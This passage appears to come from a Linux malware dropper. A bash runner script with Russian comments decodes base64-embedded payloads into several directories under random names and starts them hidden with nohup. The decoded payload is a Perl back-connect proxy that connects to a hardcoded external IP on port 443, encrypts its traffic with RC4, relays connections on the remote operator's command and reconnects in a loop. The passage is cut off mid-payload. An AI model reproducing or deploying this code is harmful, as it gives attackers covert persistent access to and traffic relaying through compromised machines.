CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #43 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #43 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 44 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 